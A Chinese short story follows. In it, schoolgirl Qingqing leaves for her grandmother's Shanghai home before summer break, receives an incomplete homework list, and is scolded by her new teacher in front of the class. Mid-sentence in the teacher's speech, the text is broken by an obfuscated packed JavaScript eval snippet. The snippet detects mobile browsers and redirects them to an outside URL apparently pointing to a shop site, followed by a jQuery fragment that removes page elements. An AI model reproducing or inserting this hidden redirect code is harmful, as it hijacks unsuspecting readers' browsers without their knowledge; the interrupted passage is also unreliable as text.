很快要放暑假了。
四年级的最后一天，教室里弥漫着一种奇怪的躁动。最后一门考试结束的铃声响起来的时候，所有人都长长地呼出一口气，像被扎破的气球。
“解放喽——”
有人喊了一嗓子，然后整个教室就炸开了。卷子从桌肚里掏出来，往讲台上扔，课本往书包里塞，有人在换同学录，有人在小纸条上留地址。窗外的蝉叫得震天响，一声一声，像在给这个学期送终。
清清把铅笔盒收进书包，站起来，准备回家。
就在这时候，班主任出现在教室门口。
“苏清清，你出来一下。”
清清愣了一下，走过去。走到门口，看见走廊里站着一个人。
母亲。
她站在那里，手里拎着一个布包，额头上有点汗。看见清清出来，冲她招了招手。
“妈妈？”
母亲伸手摸了摸她的头，然后转向班主任。
“老师，真的不好意思，家里突然有点事，得马上带她走。火车票已经买了，下午就走。”
班主任点点头：“考完试了，没问题的。暑假作业我一会儿给她。”
母亲谢过老师，拉着清清走到走廊的一边。
“妈妈，怎么了？”
“奶奶家有点急事，得马上回去。”母亲说，“你考完试了正好。”
“你回教室收拾下，”母亲又说道，“我在门口等你。”
清清被她推着进教室。
母亲站在门口等着，清清飞快地收拾书包。课本，铅笔盒。
“好了吗？”
“好了。”
母亲拉着她往外走。走到教室门口，她回头看了一眼。看见清清回头，云曦挥了挥手，嘴巴张着，好像在喊什么。清清想挥手，但母亲走得太快，手没抬起来。回头又看了一眼教室。苏云曦还在那儿，这回她跑出来了，站在走廊里，冲她喊：“清清——你什么时候回来——”
清清也喊：“开学就回来——”
然后就被母亲拉走了。
办公室门口，班主任已经把作业清单写好了，一张纸条，叠得四四方方。
“暑假作业，”班主任把纸条递过来，“语文数学都有。语文每天一篇日记，抄生字表，背十首古诗，读一本课外书写读后感。数学——预习五年级上册第一单元，小数的初步认识，开学要检查的。”
母亲接过来，塞进布包里。
“谢谢老师，麻烦您了。”
“没事，路上小心。”
母亲拉着清清走了。
走出校门的时候，清清回头看了一眼。
那两栋楼还在那儿，左手边的低年级楼，右手边的高年级楼。操场空荡荡的，一个人也没有。阳光照在煤渣地上，泛着一层淡淡的白。
她忽然有点舍不得。
火车上，清清靠在窗边，看着窗外发呆。
窗外的风景一直在变。田，房子，山，河。她看着看着，眼皮越来越沉，最后靠在母亲肩膀上睡着了。
醒过来的时候，天已经黑了。车厢里的灯亮着，昏黄昏黄的。有人在小声说话，有人在吃泡面，香味飘过来，清清肚子咕噜了一声。
母亲从包里掏出一个面包递给她。
“饿了吧？先吃点东西，明天早上就到了。”
清清接过来，慢慢吃着。
窗外的天黑漆漆的，什么也看不见。只有偶尔经过一个小站，能看见几盏灯，亮着，一晃就过去了。
第二天早上，火车进了站。
清清跟着母亲下了车，出了站，又换汽车。汽车开了很久，晃晃悠悠的，清清又睡着了。
醒过来的时候，车停了。
“到了。”母亲说。
清清揉揉眼睛，跟着母亲下了车。
眼前是一条巷子，窄窄的，两边是青砖黑瓦的老房子。巷子很深，一眼看不到头。地上铺着青石板，被踩得发亮，缝隙里长着些青苔。
母亲拉着她往里走。
走到一扇木门前，母亲停下来，推了推门。
门开了。
一个老太太站在院子里，系着围裙，手里还拿着锅铲。看见她们，愣了一下，然后笑起来。
“来了来了！”
那是奶奶。
清清上一次见奶奶还是两年前。过年的时候回去过一次，待了几天又回来了。奶奶的脸清清还记得，圆圆的，笑起来眼睛眯成一条缝。
“清清长这么高了！”奶奶走过来，伸手摸了摸她的脸，“路上累不累？”
清清摇摇头。
“快进来快进来，饭做好了，先吃饭。”
接下来的日子，清清就住在奶奶家。
那是一栋老房子，青砖黑瓦，木头门窗。院子里有一口井，井台磨得发亮。奶奶不让清清靠近，清清就蹲在远处看。看井台上长出来的青苔，看井边那棵石榴树，看树上的石榴一天一天变红。
白天大人忙，清清就一个人待着。她把暑假作业拿出来，摊在桌上，一道一道做。
那张作业清单她看了很多遍，上面写着——
语文：每天一篇日记，抄写生字表（一）（二）各三遍，背诵古诗十首（附录一），阅读《宝葫芦的秘密》或《小兵张嘎》，写一篇读后感。
数学：预习五年级上册第一单元“小数的初步认识”，试做课后练习题。
她照着做。
每天写日记，抄生字。日记写的是今天吃了什么，看到了什么，奶奶做了什么菜。抄生字抄得手酸，她就停下来，揉揉手腕，看看窗外。
预习小数那一单元，清清看不太懂。什么是小数？为什么有点？她翻来覆去看了好几遍，还是迷迷糊糊的。她就先把例题抄下来，把能做的题做了，不会的空着。
有时候做得烦了，就趴在窗口看外面。巷子里有人走来走去，说着她听得懂但也听不太懂的上海话。
傍晚的时候，奶奶在院子里烧饭。煤球炉，火苗蓝幽幽的。清清蹲在旁边看，奶奶也不管她，就让她看着。有时候奶奶会掰一小块刚烧好的红烧肉塞进她嘴里，烫得她直咧嘴，奶奶就笑。
暑假就这么一天一天过去了。
清清把那本暑假作业做完了，日记写满了一个本子，古诗背了十首，那本《宝葫芦的秘密》也读完了。她问奶奶借了一个本子，认认真真写了一篇读后感。写的是王葆的故事，写他得到宝葫芦以后发生的那些事。她写：如果我有宝葫芦，我想把不会做的题都变出来。
奶奶看见她写的东西，笑了笑，没说话。
离开上海的那天，奶奶站在门口送她们。
“下次再来。”奶奶说。
清清点点头。
火车开动的时候，她看着窗外。那栋老房子越来越远，巷子越来越远，最后变成一个小点，然后就看不见了。
开学的第一天。
清清背着书包，走进校门。
左手边那栋楼还是那样，右手边那栋楼还是那样。操场上的煤渣还是那么黑，跑道线还是那么模糊。
她往四年级的教室走，走了两步，忽然想起来——现在是五年级了。
她转了个弯，往右手边那栋楼的二楼走。楼梯是水泥的，栏杆是铁的，漆成深绿色。她一级一级往上爬，脚步声嗒嗒的。
二楼，从东边数第三间。门上挂着牌子：五年一班。
她走进去。
教室里已经来了很多人，叽叽喳喳的，都在说话。有人在炫耀暑假去了哪里，有人在交换新的文具，有人在新课本上写名字。
苏云曦坐在第三排，看见她进来，腾地站起来。
“清清！”
她跑过来，一把抱住她。
“你暑假去哪儿了？招呼都不打一个就跑了！我找你找了好久！”
清清被她抱得有点喘不过气。
“我回上海了。”
“上海？”苏云曦松开她，眼睛亮亮的，“上海好玩吗？”
清清想了想。老房子，青苔，那口井，奶奶塞进嘴里的红烧肉。
“还行。”
“那你作业做完了吗？我快累死了！”云曦压低声音，“那个预习小数，我看都看不懂，我妈教了我三天我才明白一点点。”
清清愣了一下。
“预习小数？”
“对啊，”云曦眨眨眼睛，“老师不是让预习五年级上册第一单元吗？小数的初步认识。”
清清张了张嘴，没说出话来。
她从书包里掏出那张叠得四四方方的纸条，递给云曦。
云曦接过去，看了一眼，又看了一眼，脸色变了。
“清清……”
“怎么了？”
“你这个……”云曦指着那张纸条，“你这个是复习的？不是预习的？”
清清没听懂。
旁边几个同学听见了，也围过来。
“我看看我看看。”
“咦，清清你这上面写的是抄生字表，背古诗，读课外书……这些跟我们一样啊。”
“数学呢？数学写的什么？”
云曦把纸条举起来：“预习五年级上册第一单元——不对，她这上面写的不是这个。”
清清凑过去看。那张纸条上，数学那一行明明写着——
“预习五年级上册第一单元‘小数的初步认识’，试做课后练习题。”
没错啊。
“可是我们不是这个。”云曦说。
她从书包里掏出自己的作业清单，递给清清。
清清接过来，两相对照。
云曦的清单上，数学那一行写着——
“预习五年级上册第一、二单元（小数的意义和性质、小数的加减法），完成预习练习题20道。”
清清的只有第一单元。试做课后练习题。
“你只有第一单元？”云曦问，“还是试做？我们是20道题，专门有一张卷子的。”
清清站在那里，看着那两张纸条，脑子里嗡嗡的。
老师给她的，和别人的不一样。
上课铃响了。
新班主任走进来——是个男老师，戴着眼镜，说话声音很响。他站到讲台上，清了清嗓子。
“好了，都坐好。新学期新开始，别吵了。”
大家回到座位上，清清也坐下。那两张纸条还攥在手心里，被汗浸得有点软。
班主任开始收作业。
“来，把暑假作业交上来，特别是预习小数的，我要检查
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437409|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
作业本一本一本往前传。有人交的是那20道题的卷子，有人交的是课后练习题，厚厚一沓，堆在讲台上。
清清把自己的作业本递过去。她做的是第一单元的课后练习题，不多，就几页。
班主任翻着那堆作业本，边翻边看。
翻到某一本的时候，他停了一下。
“苏清清。”
清清站起来。
“你只做了第一单元的课后题？”
清清点点头。
班主任把那本作业本举起来，对着全班晃了晃。
“大家看看，我布置的是第一、二单元预习，20道练习题。她只做了第一单元，还是课后题。”
教室里有人笑起来。笑声不大，但清清听见了。
“苏清清，你暑假干什么去了？作业只做一半？”
清清张了张嘴。
“我做了……”
“做了？”班主任把作业本往桌上一放，“你做的什么？做的第一单元，那第二单元呢？”
清清没说话。
“我问你，第二单元的预习你做了没有？”
清清摇了摇头。
“为什么不做？”
“我……我暑假回上海了……”
“回上海就不用做作业了？”班主任的声音高起来，“全班这么多同学，谁没回老家？怎么就你一个人没做完？”
清清站在那里，脸开始发烫。
“老师，她不是没做完——”苏云曦忽然站起来。
“你坐下。”班主任看了她一眼，“没问你。”
苏云曦咬着嘴唇，慢慢坐下。
班主任又看清清。
“开学第一天，作业就没做完。你五年级打算怎么办？明年就六年级了，你还这样？”
清清低着头，盯着自己的鞋尖。那双老北京布鞋，鞋头上沾着一点灰。
“回去把第二单元补上，下周一交给我。听到了吗？”
“听到了。”
“坐下吧。”
清清坐下来。她没抬头，一直盯着那双鞋。
下课的时候，苏云曦跑过来。
“清清……”
清清没说话，低着头收拾书包。
“你别理他，他就是个新来的，什么都不知道。你那个作业肯定是老师给错了，你走得急，随手拿了一张不全的给你。”
清清还是没说话。
“你跟你妈说了吗？”
清清摇摇头。
“那你回去跟你妈说，让你妈来学校找老师。不是你的错，凭什么骂你？”
清清抬起头，看了她一眼。
苏云曦的眼睛亮亮的，一脸的气愤。
清清忽然觉得，好像没那么难受了。
放学回家，清清把书包往桌上一放。
母亲正在厨房忙，听见声音，探出头来。
“回来了？今天开学怎么样？”
清清没说话。
母亲看了她一眼，放下手里的东西，走出来。
“怎么了？”
清清从书包里掏出那张作业清单，还有云曦的那张抄下来的，一起放在桌上。
母亲低头看了一眼，又看一眼，皱起眉头。
“这是……”
“老师给的不一样。”清清的声音有点闷，“别人的是两单元，20道题。我只有一单元，课后题。老师骂我作业没做完。”
母亲愣了一下。
她拿起那两张清单，对着看了很久。
然后放下，看清清。
清清低着头，站在那儿。
母亲伸手，把她拉过来，让她坐在自己旁边。
“老师骂你了？”
清清点点头。
母亲沉默了一会儿。
然后她伸出手，把清清额前的碎发拨到耳后。
“没事。”
清清抬起头。
母亲看着她，眼睛里有那种清清看不懂的东西。不是生气，不是着急，是别的什么。像心疼，又像自责。
“事情发生了，我们解决就是了。”
她伸手拍了拍清清的手背。
“第二单元咱们补，这几天我陪着你做。来得及。”
清清没说话。
“别担心。”母亲说，“也怪我，走得急，没跟老师确认清楚这个作业。”
清清看着她。
“妈妈……”
“嗯？”
清清张了张嘴，想说点什么，但没说出来。
母亲笑了笑，伸手揉了揉她的头发。
“好了，去把书包放下，洗手吃饭。吃完饭咱们把那个小数拿出来看看，看第二单元讲什么，一天做一点，很快的。”
清清站起来，往屋里走。
走到门口，她回头看了一眼。
母亲还坐在那儿，低头看着那两张清单，翻来覆去地看。阳光从窗户照进来，落在她身上，把她的侧脸照得亮亮的。
清清站了一会儿，然后走进屋里。
她把书包放好。
窗外传来炒菜的声音，滋啦滋啦的。有人在楼下喊孩子回家吃饭，声音拖得老长。
她站了一会儿，然后转身，走出去。